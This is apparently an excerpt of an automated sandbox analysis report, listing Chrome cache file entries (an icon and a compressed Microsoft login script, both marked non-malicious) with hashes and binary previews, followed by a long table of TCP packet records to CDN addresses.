Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 273170
Category:	downloaded
Size (bytes):	105716
Entropy (8bit):	7.9966881199454365
Encrypted:	true
SSDEEP:	3072:/IuCFZmgGfas/n8fHSFYXfFmO7scECa0Ht15HhSd:/dY7sE/MwfFmyscEfgBK
MD5:	68B3385A6DFFC8D64E019832ACC918ED
SHA1:	7D29DDA429CED1040EE8959B5688387D4DD1B4E0
SHA-256:	17190922204C288B25C7DB6B10EB4130B147C53171E442B25BC1F2D56BB74AEC
SHA-512:	3C90DEEBED1C066B1629ADDA526ADA2821BA66DC523910C71D84BAC4D88BFB830965AF355C132BA9D7AA84ACB58BF602ED9B4C70F6E2F42A1B4CAE203AE85426
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1
Preview:	............is.H...}".?.....Y.Im..].....Zlwst..Y.`Q..E.-..~.......{...L[D.[VVfVf.....[.Fw.....q.....'J4V.+..N.'OIx}.5.....I..WY#.F.a.eIx.gq.....q.s..D..W.6W.V...L%Q0n.F.'../.... iD2..S..U...0......j...0sz.u$."...t..o....G#u.Fj.T:.$...i...#.. =\|...x......<..Qf..\\...ix..M..&.8.O]gQR.....s.FF.x.+.....&..q...FGJ.--..lv<.fi)z~v...q=./..)..).ZZ..T.....0%R5..y...Q.?..(~.9.7..e.]...G.......d7I...C..I.8....d.....f...\|.....s.......%E?GKK.\G.A.\..]...........}....h.d$..&>s.........N.....e<.U...S%.<o....^W4"...DW$2H..;.ei{.....NzY.....F.5T.o..{...0..]%B.k>...?^1/.T...Z..X...b...)8..n_\.\\...i..Y..1..I.<--.+..ev.....Zt<.{...f...:I..z.uZM.WS.dl.6mw.......f].zb.5l..n.i75.c..Q...j8-.r.a.bB........'.s."..f0....U..2.(.V... ~.....Z.."...r....Rv^-....N..Y.....;n...w..t.Uv.g....u.?).` .........#......BG..h.W.5a.$...@...A.F..8..FU....uDB.....2J..4=.iuD.q..t..o..R........aJ+...JL.]\|....)=...Q<...u..?..#..G[..d.2....8.........$...?...=..!.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 01:42:33.874294043 CEST	49678	443	192.168.2.4	104.46.162.224
Apr 17, 2024 01:42:33.905844927 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 17, 2024 01:42:42.153759003 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.153796911 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.153911114 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.154604912 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.154650927 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.154791117 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.154803991 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.154818058 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.155021906 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.155035973 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.380991936 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.381222963 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.381285906 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.382734060 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.382800102 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.383858919 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.383958101 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.384090900 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.384129047 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.388458967 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.388798952 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.388827085 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.390512943 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.390593052 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.391515970 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.391599894 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.438441992 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.438452959 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.438478947 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.485057116 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.740335941 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740400076 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740439892 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740478039 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740483046 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.740509033 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740521908 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.740550995 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740587950 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740622997 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740626097 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.740637064 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.740649939 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.741090059 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.741128922 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.741132975 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.741141081 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.741174936 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.741183043 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.741880894 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.741915941 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.741921902 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.741961002 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.741993904 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.742000103 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742038012 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742069006 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.742074966 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742810965 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742849112 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742851973 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.742861032 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742893934 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.742902040 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742954016 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.742989063 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.742994070 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.743671894 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.743706942 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.743712902 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.743750095 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.743784904 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.743791103 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.743798018 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.743832111 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.744569063 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.744651079 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.744683981 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.744688988 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.744703054 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.744735003 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.744741917 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.745414972 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.745446920 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.745454073 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.745480061 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.745512962 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.745513916 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.745523930 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.745556116 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.745562077 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.746324062 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.746366024 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.746366978 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.746377945 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.746397018 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.760054111 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.760123968 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.760348082 CEST	443	49735	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:42.760396957 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.760411024 CEST	49735	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:42.869600058 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:42.869674921 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:42.870050907 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:42.870237112 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:42.870266914 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.190802097 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.191051006 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.191109896 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.192166090 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.192234993 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.193201065 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.193278074 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.193341017 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.236193895 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.247030973 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.247057915 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.294996023 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.870949984 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.870970964 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.870975971 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.871012926 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.871020079 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.871021986 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.871054888 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.871126890 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.871171951 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.871206999 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.871207952 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.871232986 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:43.871285915 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.871320963 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.876993895 CEST	49739	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:43.877022982 CEST	443	49739	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.120024920 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.120112896 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.120176077 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.121854067 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.121901035 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.121958971 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.122848034 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.122857094 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.122903109 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.131133080 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.131156921 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.131217003 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.132035017 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.132052898 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.132105112 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.133393049 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.133428097 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.133733988 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.133752108 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.133934021 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.133946896 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.134428978 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.134452105 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.134778976 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.134788990 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.453258038 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.453720093 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.453775883 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.454807997 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.455200911 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.455224037 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.455358028 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.455420017 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.456248999 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.456300020 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.457964897 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.457999945 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.458035946 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.459047079 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.459156036 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.459275007 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.459734917 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.459748030 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.460021019 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.460035086 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.460532904 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.460541010 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.460649014 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.460665941 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.461172104 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.461225986 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.461453915 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.463128090 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.463202953 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.463355064 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.463413000 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.463789940 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.463798046 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.464916945 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.465001106 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.465256929 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.465264082 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.465456009 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.465507984 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.465862036 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.465874910 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.469052076 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.469134092 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.469491005 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.469496965 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.515543938 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.515563011 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.515567064 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.515567064 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.515655994 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.665272951 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.665345907 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.665479898 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.667033911 CEST	49744	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.667057991 CEST	443	49744	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.682064056 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.682099104 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.682142973 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.682176113 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.682235956 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.746736050 CEST	49742	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.746778011 CEST	443	49742	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.963978052 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.964041948 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.964061975 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.964097977 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.964118958 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.964118958 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.964157104 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.964301109 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.964303970 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.964648962 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.965079069 CEST	49746	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.965099096 CEST	443	49746	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.982347012 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.982506990 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:44.983083010 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:44.983083010 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:45.009293079 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:45.009478092 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:45.009555101 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:45.040762901 CEST	49745	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:45.040822983 CEST	443	49745	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:45.216387033 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.264118910 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.296307087 CEST	49743	443	192.168.2.4	13.107.246.41
Apr 17, 2024 01:42:45.296339035 CEST	443	49743	13.107.246.41	192.168.2.4
Apr 17, 2024 01:42:45.309706926 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.309736013 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:45.314852953 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.315501928 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.315514088 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:45.325009108 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.325021982 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.325578928 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.325588942 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.325603962 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.325664997 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.325700998 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.325829983 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.326184034 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.326261044 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.326307058 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.326462984 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.327218056 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.327233076 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.327399015 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.327409983 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.328109026 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.328142881 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.328144073 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.328181982 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.402101994 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402246952 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402323961 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402400017 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402478933 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402517080 CEST	49736	443	192.168.2.4	104.18.3.35
